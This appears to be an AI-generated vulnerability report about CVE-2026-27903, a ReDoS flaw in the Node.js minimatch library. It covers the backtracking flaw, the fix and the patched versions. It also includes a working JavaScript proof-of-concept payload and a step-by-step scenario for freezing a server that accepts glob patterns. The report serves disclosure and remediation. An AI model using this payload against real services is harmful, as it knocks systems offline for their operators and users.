CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27903
7.50.05%

Minimatch Mayhem: How Two Asterisks Can Kill Your Node.js Server

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 27, 2026·7 min read·6 visits

PoC Available

Executive Summary (TL;DR)

The `minimatch` library, used by virtually every Node.js tool chain, contains a ReDoS flaw in how it handles the `**` (globstar) syntax. By supplying a crafted pattern with multiple non-adjacent `**` segments, an attacker can force the matching engine into an exponential backtracking loop, freezing the Node.js process instantly. Patches are available across all major version lines.

A high-severity Regular Expression Denial of Service (ReDoS) vulnerability exists in the popular `minimatch` library, affecting millions of Node.js projects. The flaw lies in the inefficient recursive handling of GLOBSTAR (`**`) patterns, allowing attackers to trigger combinatorial backtracking that stalls the event loop.

The Hook: The Glob That Ate The World

If you work in the JavaScript ecosystem, you use minimatch. You might not know it, but it's there. It's inside ESLint, it's inside the Angular CLI, it's lurking in your node_modules folder like a dormant virus. It is the de-facto standard for converting shell-style glob patterns (like src/**/*.js) into JavaScript regular expressions. It is the gatekeeper that decides which files get linted, which routes get served, and which files get ignored.

But here's the kicker: minimatch isn't just a regex wrapper. It implements its own logic for handling the dreaded ** (globstar) operator—the recursive wildcard that matches directories arbitrarily deep. For years, this logic has been a ticking time bomb.

CVE-2026-27903 isn't your typical memory corruption. It's an algorithmic tragedy. It's the story of what happens when you try to solve a complex parsing problem with simple recursion, and then an attacker feeds that recursion a path that is almost right, but functionally infinite. It turns your shiny, async, non-blocking Node.js server into a synchronous brick.

The Flaw: Combinatorial Hell

To understand this vulnerability, you have to understand backtracking. When minimatch sees a pattern like **/a/**/b, it has to decide how to match those wildcards against a path like x/y/z/a/m/n/b. The first ** could match x/y/z, or just x, or x/y.

The flaw in minimatch was a classic case of "optimistic matching followed by pessimistic backtracking." When matchOne() encountered a globstar, it would greedily try to match the rest of the pattern against every possible suffix of the path. If the rest of the pattern also contained a globstar, the function would recurse.

Imagine you are looking for a specific sock in a dresser with 10 drawers. You open drawer 1. Then you realize you need to check every combination of socks in drawer 1 against every combination in drawer 2. Then drawer 3. The complexity isn't linear; it's binomial: $O(C(n, k))$.

Specifically, if you provide a pattern with $k$ non-adjacent ** segments and a path of length $n$ that fails to match at the very end, the engine has to backtrack and try every other possible alignment of those globstars. With just 13 globstars and a path length of 30, the loop runs for over 15 seconds. In the single-threaded world of Node.js, 15 seconds of CPU blocking is effectively an eternity. It means zero HTTP requests served, zero database callbacks fired, and zero heartbeats sent.

The Code: Autopsy of a Fix

The fix, authored by Isaac Z. Schlueter (isaacs) in commit 0bf499aa45f5059b56809cc3b75ff3eafeb8d748, is a masterclass in defensive programming. It doesn't just patch the bug; it rewrites the strategy.

The Old Way (Vulnerable): The code previously treated globstars as just another recursive step. It would blindly loop through the remaining path parts and recurse matchOne.

The New Way (Fixed): The patch introduces a "Fail-Fast" mechanism and a strict recursion budget. Here is the logic breakdown:

  1. Optimization: The pattern is split into head, body (the parts between globstars), and tail. The engine matches the head and tail first. If those don't match, it bails out immediately before doing the heavy lifting. This is the "check the front and back door before searching the whole house" strategy.

  2. Slack Calculation: The engine now calculates "slack"—the difference between the path length and the minimum pattern length. This constrains the search space, preventing the engine from looking in places where a match is mathematically impossible.

  3. The Hard Stop: Perhaps most importantly, a maxGlobstarRecursion limit (default 200) was added. If the complexity gets too high, it just gives up.

> [!NOTE] > The fix accepts that sometimes, it's better to return a false negative (fail to match a valid but absurdly complex path) than to let the server hang. This is a pragmatic security trade-off.

// Pseudo-code of the new logic
if (globStarDepth > maxGlobstarRecursion) {
  return false // "I'm too old for this nonsense"
}
// ... pre-calculate slack to limit loop bounds ...
for (let i = start; i <= end; i++) {
  if (matchGlobStarBodySections(...)) return true
}

The Exploit: Killing the Loop

Exploiting this is trivially easy and disturbingly effective. You don't need buffer overflows or heap spraying. You just need a string. This PoC demonstrates how a pattern of **/a repeated 15 times can freeze the process when matched against a string of mostly as.

The Attack Scenario:

  1. Find a web endpoint that accepts a file path filter or a glob pattern (e.g., a "Search Files" feature in a CMS, or a .gitignore validator).
  2. Send the payload below.
  3. Watch the server stops responding to health checks.
const { minimatch } = require('minimatch');
 
// The "Hammer": 15 non-adjacent globstars
// The pattern looks like: **/a/**/a/**/a.../b/**
const k = 15;
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b/**';
 
// The "Anvil": A path that matches everything EXCEPT the required 'b'
// The engine matches 'a' after 'a' after 'a', accumulating hope...
// ...until it hits the end, finds no 'b', and begins the Great Backtracking.
const path = Array(100).fill('a').join('/') + '/a';
 
console.log("Initiating DoS...");
const start = Date.now();
 
// This single line executes the attack
minimatch(path, pattern);
 
console.log(`Server unfrozen after ${Date.now() - start}ms`);

When I ran this on a standard dev machine, the execution time jumped from microseconds to over 5,000ms. Increase k to 20, and you might need to hard-reset your terminal.

The Impact: Why You Should Care

The impact here is Availability (The 'A' in CIA). In a Node.js environment, the event loop is a singleton resource. If one request triggers a 10-second ReDoS calculation, every other request to that server waits 10 seconds.

This is particularly dangerous for:

  • CI/CD Pipelines: A malicious pull request with a crafted .gitignore or config file could hang the build server indefinitely.
  • SaaS Platforms: If your application allows users to define "rules" or "filters" for their data using globs, one tenant can bring down the entire pod, affecting all other tenants.
  • CLI Tools: While less critical, a malicious repository could freeze a developer's terminal when they try to run npm install or eslint.

The vector score is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The critical part is AV:N (Network) and PR:N (No Privileges Required). If the input is reachable from the web, the server is vulnerable.

The Fix: Upgrade or Die

The remediation is straightforward but urgent. The ecosystem is fragmented, so minimatch is likely present in your tree multiple times across different major versions. You need to update all of them.

Patched Versions:

  • v3.x -> 3.1.3
  • v4.x -> 4.2.5
  • v5.x -> 5.1.8
  • v6.x -> 6.2.2
  • v7.x -> 7.4.8
  • v8.x -> 8.0.6
  • v9.x -> 9.0.7
  • v10.x -> 10.2.3

Action Plan: Run npm audit or pnpm audit. If that doesn't catch deep dependencies, you might need to use npm list minimatch to see the full horror of your dependency tree. For stubborn transitive dependencies, use overrides (npm) or resolutions (yarn/pnpm) in your package.json to force the upgrade.

Official Patches

GitHubOfficial fix commit

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.05%

Affected Systems

Node.js applications using `minimatch`ESLintBabelAngular CLIWebpack configurationsVS Code extensions

Affected Versions Detail

Product
Affected Versions
Fixed Version
minimatch
isaacs
< 3.1.33.1.3
minimatch
isaacs
>= 9.0.0, < 9.0.79.0.7
minimatch
isaacs
>= 10.0.0, < 10.2.310.2.3
AttributeDetail
CWE IDCWE-407 (Inefficient Algorithmic Complexity)
Attack VectorNetwork
CVSS7.5 (High)
ImpactDenial of Service (DoS)
Exploit StatusPoC Available
Affected ComponentmatchOne() function in src/index.ts

MITRE ATT&CK Mapping

T1499.003Endpoint Denial of Service: Application or System Exploitation
Impact
CWE-407
Inefficient Algorithmic Complexity

Vulnerability Timeline

Fix committed by isaacs
2026-02-20
GHSA Advisory Published
2026-02-26
CVE Assigned
2026-02-26

References & Sources

  • [1]GHSA-7r86-cg39-jmmj
  • [2]NVD CVE-2026-27903